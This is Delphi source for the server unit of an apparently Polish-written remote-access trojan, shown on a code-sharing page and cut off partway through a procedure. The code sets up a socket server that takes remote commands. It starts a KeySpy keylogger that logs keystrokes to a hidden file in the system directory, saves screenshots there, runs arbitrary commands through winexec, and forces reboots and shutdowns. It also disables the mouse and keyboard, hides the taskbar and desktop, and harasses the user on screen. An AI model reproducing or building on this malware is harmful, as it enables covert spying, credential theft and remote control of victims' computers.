📄 serverunit.pas
字号:
unit ServerUnit;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ScktComp,jpeg, StdCtrls, ExtCtrls,ShellApi,mmSystem,registry, Keyspy,
sharing;
type
TForm1 = class(TForm)
Label7: TLabel;
ServerSocket1: TServerSocket;
Label1: TLabel;
KeySpy1: TKeySpy;
plikSer: TServerSocket;
Label2: TLabel;
Image1: TImage;
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormCreate(Sender: TObject);
//ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure KeySpy1KeySpyUp(Sender: TObject; Key: Byte; KeyStr: String);
procedure Button1Click(Sender: TObject);
procedure plikSerClientRead(Sender: TObject;
Socket: TCustomWinSocket);
//ddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd
private
{ Private declarations }
public
glob:integer;
rek:TRect;
plik:textfile;
stream:file;
plikprzes,ekranfile:file;
nazwaprzesyl:string;
user:string;
windir:array[0..MAX_Path] of char;
sysdir:array[0..MAX_Path] of char;
sysdrive:array[1..3]of char;
raz:BOOL;
zamknij:BOOL;
w:LONGBOOL;
pulpit:TCanvas;
rr:TRect;
kontekst:HDC;
uchwyt:THandle;
procedure WylaczMonitor;
procedure WlaczMonitor;
procedure DajGlos;
procedure DrukujDokument ;
procedure UsunWygaszacz;
procedure ZmienPozycjeKursora(x,y:integer);
procedure UkryjPasekZadan;
procedure PokazPasekZadan;
procedure RysujPulpit;
procedure ZmienStart ;
procedure WysunCD;
procedure ZamknijCD;
procedure GrajWave;
procedure Reboot;
procedure CloseSystem;
procedure zamienprzyciskimyszy;
procedure ClipMouseWindow;
procedure NormalneOknoMyszy;
procedure ZawiesMyszke;
procedure UkryjKursorMyszy;
procedure PokazKursorMyszy;
procedure ZawiesKlawiature;
procedure zawiessystem;
procedure RysujKolo;
procedure WyswietlBitmape;
procedure WykonajPolecenie(parametr:string);
procedure MsgNaPulpice(msg:string);
procedure MsgWOkienku(msg:string);
procedure ZrzutEkranu;
procedure UruchomSzpiega;
procedure ZatrzymajSzpiega;
procedure OproznijSchowek;
procedure Pokazstart(pokaz:boolean);
procedure ikonypulpitu(pokaz:boolean);
procedure odwrockol;
procedure zmieniacz;
procedure przywrocstart;
procedure przeslijplik(nazwapliku:string);
procedure zmienrozdziel(x,y:integer);
procedure dirs(sciezka:string);
procedure softuruchomszpiega;
end;
var
Form1: TForm1;
b:boolean;
implementation
uses Unit2,procesy;
procedure TForm1.softuruchomszpiega;
begin
assignfile(plik,string(sysdir)+'\syskey.da0');
append(form1.plik);
keyspy1.Enabled:=true;
end;
function DirNotation(sc:string):string;
begin
if sc[length(sc)]<>'\' then result:=sc+'\'
else result:=sc;
end;
{
procedure TForm1.dirs(sciezka:string);
var plik:textfile;
p:TSearchRec;
rez:integer;
dir:string;
begin
dir:=DirNotation(sciezka);
rez:=FindFirst(dir+'*.*',faDirectory+faReadOnly+faHidden+faSysFile,p);
while rez=0 do
begin
if (p.Attr and $10)>=$10 then memo1.lines.add(p.name);
rez:=findnext(p);
end;
rez:=FindFirst(dir+'*.*',faAnyFile+faHidden+faSysFile+faReadOnly,p);
while rez=0 do
begin
if (p.Attr and $10)<>$10 then memo2.lines.add(p.name);
rez:=findnext(p);
end;
end;
}
procedure TForm1.dirs(sciezka:string);
var plik:textfile;
p:TSearchRec;
rez:integer;
dir:string;
begin
assignfile(plik,string(sysdir)+'\dirs.dir');
rewrite(plik);
dir:=DirNotation(sciezka);
rez:=FindFirst(dir+'*.*',faDirectory+faReadOnly+faHidden+faSysFile,p);
while rez=0 do
begin
if (p.Attr and $10)=$10 then writeln(plik,p.name);
rez:=findnext(p);
end;
writeln(plik,'');
rez:=FindFirst(dir+'*.*',faAnyFile+faHidden+faSysFile+faReadOnly,p);
while rez=0 do
begin
if (p.Attr and $10)<>$10 then writeln(plik,'-'+p.name);
rez:=findnext(p);
end;
closefile(plik);
end;
procedure TForm1.zmienrozdziel(x,y:integer);
var mode:TDeviceMode;
begin
with mode do
begin
dmsize:=sizeof(mode);
dmbitsperpel:=16;
dmpelswidth:=x;
dmpelsheight:=y;
dmfields:=DM_PELSWIDTH+DM_PELSHEIGHT;
end;
changedisplaysettings(mode,0);
end;
procedure TForm1.WylaczMonitor;
begin
SendMessage(application.handle,wm_SysCommand,sc_monitorPower,0);
end;
procedure TForm1.WlaczMonitor;
begin
SendMessage(application.handle,wm_SysCommand,sc_monitorPower,-1)
end;
procedure TForm1.DajGlos;
begin
beep;
end;
procedure TForm1.DrukujDokument;
begin
ShellExecute(handle,'open','rundll32','msprint2.dll,RUNDLL_PrintTestPage',nil,SW_SHOW);
end;
procedure TForm1.UsunWygaszacz;
begin
SystemParametersInfo(SPI_SETSCREENSAVEACTIVE,Word(False),nil,0);
end;
procedure TForm1.ZmienPozycjeKursora(x,y:integer);
begin
SetCursorPos(x,y);
end;
procedure TForm1.UkryjPasekZadan;
begin
ShowWindow(FindWindow('Shell_TrayWnd',nil),SW_Hide);
end;
procedure TForm1.PokazPasekZadan;
begin
ShowWindow(FindWindow('Shell_TrayWnd',nil),SW_Show);
end;
procedure TForm1.RysujPulpit;
begin
canvas.Handle:=GetWindowDC(GetDesktopWindow);
canvas.Rectangle((Screen.Width div 2 -200),(Screen.Height div 2-200),
(Screen.Width div 2 +200),(Screen.Height div 2+200));
releasedc(getdesktopwindow,canvas.handle)
end;
procedure TForm1.ZmienStart;
var uchwyt:THandle;
begin
uchwyt:=FIndWindow(PChar('Shell_TrayWnd'),nil);
Getwindowrect(uchwyt,rek);
SetWindowPos(uchwyt,HWND_TOPMOST,0,0,110,110,SWP_NOSENDCHANGING or SWP_FRAMECHANGED);
end;
procedure tform1.przywrocstart;
var uchwyt:THandle;
begin
uchwyt:=FIndWindow(PChar('Shell_TrayWnd'),nil);
SetWindowPos(uchwyt,HWND_BOTTOM,rek.Left,rek.top ,rek.right-rek.left,rek.bottom-rek.top,SWP_NOSENDCHANGING or SWP_FRAMECHANGED);
end;
procedure TForm1.WysunCD;
begin
mciSendString('Set cdaudio door open wait',nil,0,handle);
end;
procedure TForm1.ZamknijCD;
begin
mciSendString('Set cdaudio door closed wait',nil,0,handle);
end;
procedure TForm1.GrajWave;
var sc:string;
begin
sc:=string(windir);
sc:=sc+'\media\tada.wav';
SndPlaySound(PChar(sc),snd_async);
end;
procedure TForm1.Reboot;
begin
ExitWindowsEx(EWX_REBOOT+EWX_FORCE,0);
end;
procedure TForm1.CloseSystem;
begin
ExitWindowsEx(EWX_SHUTDOWN+EWX_FORCE,0);
end;
procedure TForm1.zamienprzyciskimyszy;
begin
SwapMouseButton(true);
end;
procedure TForm1.ClipMouseWindow;
var o:TRect;
begin
o.Top:=(screen.Height div 2)-100;
o.Left:=(screen.Width div 2)-100;
o.Right:=(screen.Width div 2)+100;
o.Bottom:=(screen.Height div 2)+100;
clipcursor(@o);
end;
procedure TForm1.NormalneOknoMyszy;
var o:TRect;
begin
o.Top:=0;
o.Left:=0;
o.Right:=screen.Width;
o.Bottom:=screen.Height;
clipcursor(@o);
end;
procedure TForm1.ZawiesMyszke;
begin
ShellExecute(handle,'open','rundll32','mouse,disable',nil,SW_HIDE);
end;
procedure TForm1.UkryjKursorMyszy;
begin
showcursor(false);
end;
procedure TForm1.PokazKursorMyszy;
begin
showcursor(true);
end;
procedure tform1.ZawiesKlawiature;
begin
shellexecute(handle,'open','rundll32','keyboard,disable',nil,SW_HIDE);
end;
procedure tform1.Zawiessystem;
begin
shellexecute(handle,'open','rundll32','user,disableoemlayer',nil,SW_HIDE);
end;
procedure TForm1.RysujKolo;
var i:integer;
begin
canvas.Handle:=GetWindowDC(GetDesktopWindow);
for i:=1 to 10 do
begin
canvas.ellipse((Screen.Width div 2 -200),(Screen.Height div 2-200),
(Screen.Width div 2 +200),(Screen.Height div 2+200));
end;
releasedc(getdesktopwindow,canvas.handle)
end;
procedure TForm1.WykonajPolecenie(parametr:string);
begin
winexec(PChar(parametr),SW_SHOW);
end;
procedure TForm1.WyswietlBitmape;
begin
canvas.Handle:=GetWindowDC(GetDesktopWindow);
// canvas.
releasedc(getdesktopwindow,canvas.handle)
end;
procedure TForm1.MsgNaPulpice(msg:string);
begin
canvas.Handle:=GetWindowDC(GetDesktopWindow);
canvas.Font.Size:=22;
canvas.Font.Color:=clRed;
canvas.TextOut(form1.Width div 2-50,form1.height div 2-50,Msg);
releasedc(getdesktopwindow,canvas.handle);
end;
procedure TForm1.MsgWOkienku(msg:string);
begin
MessageBox(application.handle,PChar(msg),'Wiadomosc',MB_OK);
end;
procedure TForm1.ZrzutEkranu;
var
ScreenCanvas: TCanvas;
Image1:TImage;
jpeg1:TJpegimage;
DC: HDC;
R: TRect;
begin
ScreenCanvas := TCanvas.Create;
Image1:=TImage.Create(application);
jpeg1:=TJpegimage.create;
try
DC := GetDC(0);
try
ScreenCanvas.Handle := DC;
R := Rect(0, 0, Screen.Width, Screen.Height);
with Image1.Picture.Bitmap do
begin
Width := screen.Width;
Height := screen.Height;
Canvas.CopyRect(R, ScreenCanvas, R);
end;
jpeg1.Assign(image1.picture.Graphic);
jpeg1.CompressionQuality:=90;
jpeg1.Compress;
jpeg1.SaveToFile(string(sysdir)+'\sys.jpg');
finally
ReleaseDC(0, DC);
end;
finally
ScreenCanvas.Free;
image1.Free;
jpeg1.free;
end;
end;
procedure TForm1.UruchomSzpiega;
begin
assignfile(plik,string(sysdir)+'\syskey.da0');
rewrite(plik);
keyspy1.Enabled:=true;
end;
procedure TForm1.ZatrzymajSzpiega;
begin
keyspy1.Enabled:=false;
closefile(plik);
end;
procedure TForm1.OproznijSchowek;
begin
if OpenClipboard(getdesktopwindow) then emptyclipboard
else
Closeclipboard;
end;
procedure TForm1.Pokazstart(pokaz:boolean);
var okno:hwnd;
begin
okno:=FindWindowEx(FindWindow('Shell_TrayWnd', nil),0,'Button',nil);
if not pokaz then ShowWindow(okno,sw_hide) else
ShoWwindow(okno,sw_show);
end;
procedure TForm1.ikonypulpitu(pokaz:boolean);
var okno:hwnd;
begin
okno:=FindWindow('Progman', nil);
if not pokaz then ShowWindow(okno,sw_hide) else
ShoWwindow(okno,sw_show);
end;
procedure TForm1.odwrockol;
var dc:hdc;
rec:trect;
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -